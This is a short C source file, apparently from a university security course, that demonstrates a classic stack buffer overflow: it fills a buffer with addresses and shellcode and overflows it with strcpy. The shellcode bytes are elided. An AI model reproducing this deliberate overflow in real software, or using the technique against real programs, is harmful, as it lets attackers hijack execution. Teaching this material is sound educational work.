progs/overflow.c
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Tue, 26 Sep 2017 12:10:41 +0100
changeset 534 62985f147c85
parent 222 81f9f0eb1180
permissions -rw-r--r--
merged

char shellcode[] = ...
char large_string[128];

void main() {
  char buffer[96];
  int i;
  long *long_ptr = (long *) large_string;

  for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;

  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];

  strcpy(buffer,large_string);
}